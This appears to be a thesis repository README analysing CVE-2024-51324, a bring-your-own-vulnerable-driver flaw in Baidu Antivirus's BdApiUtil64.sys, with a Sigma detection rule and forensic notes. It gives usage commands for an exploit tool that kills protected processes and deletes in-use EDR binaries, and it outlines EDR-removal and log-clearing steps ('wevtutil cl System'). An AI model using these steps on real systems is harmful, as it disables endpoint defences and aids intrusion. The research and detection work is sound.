自带易受攻击驱动(BYOVD)— 百度杀毒
BdApiUtil64.sys
三个未公开的内核原语:进程终止、任意文件删除, 以及通过绕过SectionObjectPointer实现的使用中文件删除
受影响版本:百度杀毒 v5.2.3.116083(BdApiUtil64.sys)
将易受攻击的驱动加载到内核(LOADER 模式)
本仓库包含我针对 CVE-2024-51324 的硕士论文研究,这是百度杀毒内核驱动 BdApiUtil64.sys 中的一个**自带易受攻击驱动(BYOVD)**漏洞。
NVD 记录给出的 CVSS v3.1 基础评分为 3.8(低危),向量为 AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N,对应 CWE-269(权限管理不当)。该评分并未反映本研究中所记录的实际本地攻击情况:一旦驱动被管理员加载(这是一次性步骤,可通过社会工程学或任意本地权限提升实现),之后任何进程——包括沙箱进程或标准用户进程——都可以在无需进一步权限检查的情况下发送 IOCTL。研究人员评估的 CVSS v3.1 评分 7.8(高危),向量为 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,更能准确反映加载后的实际利用情况。两个评分均在技术文档中进行了讨论。
该驱动以 SecurityDescriptor = NULL 创建设备对象 \Device\BdApiUtil,允许任何进程(无论其完整性级别如何)打开句柄并发送 IOCTL。通过 Ghidra 11.0.3 进行的静态分析表明,其内部机制比先前公开文档所描述的更为严重:驱动使用 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode),而非 ZwOpenProcess,从而完全绕过 SeAccessCheck。三个 IOCTL 原语已被完整分析,其中两个此前没有任何公开文档。
CVE-2024-51324/
├── README.md
├── LICENSE
│
├── drivers/
│ └── BdApiUtil64.sys # Driver (not distributed)
│
├── exploit/
│ ├── exploit-explanation.md
│ └── byovd_killer.py # Main exploit — 4 operational modes
│
└── docs/
├── screenshots/
│ ├── 01-byovd-scan.png
│ ├── 02-byovd-scan-target.png
│ ├── 03-byovd-load.png
│ ├── 04-byovd-load-custom.png
│ ├── 05-kill-name.gif
│ ├── 06-kill-pid.gif
│ ├── 07-kill-limit.gif
│ ├── 08-dry-run.gif
│ └── 09-byovd-cleanup.png
│
└── analysis/
├── 01-root-cause.md
├── 02-driver-analysis.md # Full Ghidra RE, three primitives, PPL testing
└── 03-timeline.md
BdApiUtil64.sys(SHA-256:47EC51B5F0EDE1E70BD66F3F0152F9EB536D534565DBB7FCC3A05F542DBE4428)python exploit/byovd_killer.py --scan
python exploit/byovd_killer.py --scan --target lsass.exe
python exploit/byovd_killer.py --load
python exploit/byovd_killer.py --load --driver C:\path\to\BdApiUtil64.sys
python exploit/byovd_killer.py --load --service-name MyService
python exploit/byovd_killer.py --kill notepad.exe
python exploit/byovd_killer.py --pid 1234
python exploit/byovd_killer.py --kill notepad.exe --max-instances 2
python exploit/byovd_killer.py --kill notepad.exe --dry-run
python exploit/byovd_killer.py --cleanup
python exploit/byovd_killer.py --cleanup --service-name MyService









通过 Ghidra 11.0.3 对 BdApiUtil64.sys 进行逆向工程,发现其攻击面比任何先前公开来源所记载的都要广泛:
0x800024B4)分发链分为三个层级:
IOCTL 0x800024B4
└─ FUN_00028630 (IRP_MJ_DEVICE_CONTROL dispatcher)
└─ FUN_00015230 (wrapper: validates IOCTL code and buffer size = 4 bytes)
└─ FUN_000152b0 (kill handler — vulnerability locus)
重构的处理函数(Ghidra):
if ((param_1 != 0) && (param_1 != 4)) {
PsLookupProcessByProcessId(param_1, &local_res10);
ObOpenObjectByPointer(
local_res10,
0x200, // OBJ_KERNEL_HANDLE
0, // PassedAccessState: NULL
0x1fffff, // PROCESS_ALL_ACCESS
0, // ObjectType: NULL
0, // AccessMode: KernelMode ← bypasses SeAccessCheck
local_res18
);
ZwTerminateProcess(local_res18[0], 0);
}
为什么 KernelMode 能绕过 SeAccessCheck:
ZwOpenProcess path:
NtOpenProcess → ObOpenObjectByName → SeAccessCheck
(checks DACL, caller token, integrity level)
can return STATUS_ACCESS_DENIED
ObOpenObjectByPointer(KernelMode) path:
SeAccessCheck ← NOT invoked
→ PROCESS_ALL_ACCESS handle granted unconditionally
ZwOpenProcess 不在该驱动的导入表中。先前资料中基于 ZwOpenProcess 的描述在技术上是错误的。
0x80002648)处理函数 FUN_00013bb0 接收 Unicode 路径,校验 InputBufferLength ≥ 0x208,然后委托给 FUN_00013c10。该子处理函数以内核模式打开文件(不检查调用者令牌的 SeAccessCheck),并分发 FileInformationClass = 0xD(FileDispositionInformation)的 IRP_MJ_SET_INFORMATION IRP,将文件标记为待删除。内核可访问的任何文件都可以被删除,无论 NTFS 权限如何。
0x8000264C)处理函数 FUN_000139d0 访问 FileObject->SectionObjectPointer(位于 FILE_OBJECT 结构中偏移 0x28 处),并在分发删除 IRP 之前临时将两个字段置空:
plVar1 = FileObject->SectionObjectPointer;
plVar1[2] = 0; // DataSectionObject → NULL
plVar1[0] = 0; // ImageSectionObject → NULL
IofCallDriver(device, irp);
KeWaitForSingleObject(...);
// Restore after completion
plVar1[2] = DataSectionObject_backup;
plVar1[0] = ImageSectionObject_backup;
IopDeleteFile 在处理 FileDispositionInformation 之前会检查这些指针。通过将其置空,处理函数使文件看起来处于未映射状态,从而绕过使用中保护。该原语无需先终止进程,即可从磁盘上删除正在运行的 EDR 代理的二进制文件。
完整的 EDR 清除链:
1. Terminate EDR process (IOCTL 0x800024B4)
2. Delete EDR binary on disk (IOCTL 0x8000264C) ← works even if memory-mapped
3. Prevent restart ← executable no longer exists on disk
PPL(受保护进程轻量级,Protected Process Light)是能够抵抗该驱动基于 ObOpenObjectByPointer(KernelMode) 的进程终止的唯一运行时缓解措施。
--cleanup 之后仍然存在的痕迹事件 ID 7045 是在包含清理的完整攻击周期结束后唯一幸存下来的痕迹。它包含服务名称、ImagePath(完整二进制路径)、服务类型和创建时间戳。
执行 wevtutil cl System 删除事件 ID 7045 会在安全通道中生成事件 ID 1102,记录清除日志的操作者及时间。这意味着即使原始痕迹被销毁,日志篡改行为仍可被检测到。
| 攻击者操作 | 产生的痕迹 | 通道 | 持久性 |
|---|---|---|---|
wevtutil cl System | 事件 ID 7045 被删除 | System | — |
title: BYOVD Attack via BdApiUtil64.sys (CVE-2024-51324)
id: a3f7c2e1-8b4d-4f9a-b6e3-2d1c9f8a7b5e
status: experimental
logsource:
product: windows
service: system
detection:
selection_eventid:
EventID: 7045
selection_driver:
- ServiceName|contains: 'BdApi'
- ImagePath|contains: 'BdApiUtil64.sys'
condition: selection_eventid and selection_driver
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
- attack.privilege_escalation
- attack.t1068
完整的 Sigma 规则与 Sysmon 配置(按 SHA-256 哈希匹配事件 ID 6,按注册表键匹配事件 ID 13)见 docs/detection/。
| 文档 | 描述 |
|---|---|
| 根因分析 | IRP_MJ_DEVICE_CONTROL 处理函数中缺少访问控制 |
本研究是我网络安全硕士论文(UCAM — Campus Internacional de Ciberseguridad)的一部分,旨在分析多种环境下的 N-Day 漏洞。
该 CVE 代表论文中的 Windows 内核驱动 / BYOVD 攻击向量,主要展示:
ZwOpenProcess;实际机制为 ObOpenObjectByPointer(KernelMode))关键词: BYOVD · Kernel Driver · IOCTL · Ghidra · Process Termination · File Deletion · SectionObjectPointer · ObOpenObjectByPointer · Defense Evasion · CVE-2024-51324
Annais Molina (devianntsec) — 网络安全硕士生
MIT 许可证 — 参见 LICENSE
本仓库仅出于教育和安全研究目的提供,作为学术硕士论文的一部分。所有测试均在无网络暴露的隔离虚拟机上完成。易受攻击的驱动(BdApiUtil64.sys)不随本仓库分发——须自行获取。请仅在你拥有或已获得明确书面授权的系统上使用。未经授权对系统实施攻击属违法行为,可能导致刑事起诉。
| 方面 | 描述 |
|---|
| 技术纠正 | ZwOpenProcess 不在导入表中;实际机制为 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode),可无条件绕过 SeAccessCheck |
| 三个已记录的原语 | 进程终止(0x800024B4)、任意文件删除(0x80002648)、以及通过绕过 SectionObjectPointer 实现的使用中文件删除(0x8000264C)——后两者此前没有任何公开文档 |
| 四种操作模式 | LOADER、KILLER、SCANNER 和 CLEANUP——完整的生命周期管理 |
| SHA-256 校验 | 每次加载尝试前均校验驱动哈希 |
| PPL 实证测试 | 每类进程进行 10 次尝试,确认 PPL 是唯一的运行时缓解措施 |
| 取证分析 | 清理后事件 ID 7045 仍然存在;事件 ID 1102 作为清除日志时自我暴露的痕迹 |
| 检测规则 | Sigma 规则与 Sysmon 配置(按哈希匹配事件 ID 6,按注册表键匹配事件 ID 13) |
| CVSS 重新评估 | 记录了官方 NVD 评分(3.8 低危)与研究人员评估的本地利用严重性(7.8 高危)之间的差异 |
| 模式 | 命令 | 权限 | 描述 |
|---|
| SCANNER | --scan | 任意用户 | 系统和驱动状态信息 |
| LOADER | --load | 管理员 | 通过创建内核服务加载驱动 |
| KILLER | --kill / --pid | 任意用户 | 通过 IOCTL 终止进程 |
| CLEANUP | --cleanup | 管理员 | 停止并删除驱动服务 |
| IOCTL | 处理函数 | 原语 | 先前公开文档 |
|---|
0x800024B4 | FUN_000152b0 | 进程终止 | 部分公开(机制描述有误) |
0x80002648 | FUN_00013bb0 | 任意文件删除 | 无 |
0x8000264C | FUN_00013850 | 使用中文件删除(SectionObjectPointer 绕过) | 无 |
| 进程 | PPL 激活 | 可终止 | 原因 |
|---|
notepad.exe | 否 | ✅ 10/10 | 无保护 |
regedit.exe | 否 | ✅ 10/10 | 无保护 |
spoolsv.exe | 否 | ✅ 9/10 | 其中 1 次被 SCM 重启 |
MsMpEng.exe | 否(测试环境中无 PPL) | ✅ 8/10 | 存在细微时序差异 |
lsass.exe | 否(未启用 RunAsPPL) | ✅ 6/10 | 状态存在差异 |
csrss.exe | 是(无条件 PPL) | ❌ 0/10 | STATUS_ACCESS_DENIED |
| 存在 | 不存在 |
|---|
PsLookupProcessByProcessId | ZwOpenProcess |
ObOpenObjectByPointer | SeAccessCheck |
ZwTerminateProcess | SePrivilegeCheck |
PsGetCurrentProcess | |
IoGetRequestorProcess |
| 场景 | 目标 | 影响 |
|---|
| EDR/AV 终止 | MsMpEng.exe, SentinelAgent.exe | 防御规避 |
| EDR 二进制文件删除(使用中) | 磁盘上的 EDR 可执行文件 | 防止终止后重启 |
| 审计日志破坏 | EventLog 服务 | 干扰取证调查 |
| 绕过受保护进程 | lsass.exe(未启用 RunAsPPL) | 辅助凭据访问 |
| 勒索软件加密前准备 | 安全代理 | 完整的防御规避链 |
| 痕迹 | 清理后状态 |
|---|
| SCM 中的服务 | 已删除 |
driverquery 中的驱动 | 已删除 |
| 设备对象 | 不可访问 |
| 注册表键 | 已删除 |
| 事件 ID 7045 | 仍然存在——无法通过 sc delete 删除 |
wevtutil cl System |
| 生成事件 ID 1102 |
| Security |
| 永久 |
| 完整的 Ghidra 逆向工程、三个 IOCTL 原语、PPL 测试、导入表分析 |
| CVE 时间线 | 发现、披露与补丁时间线 |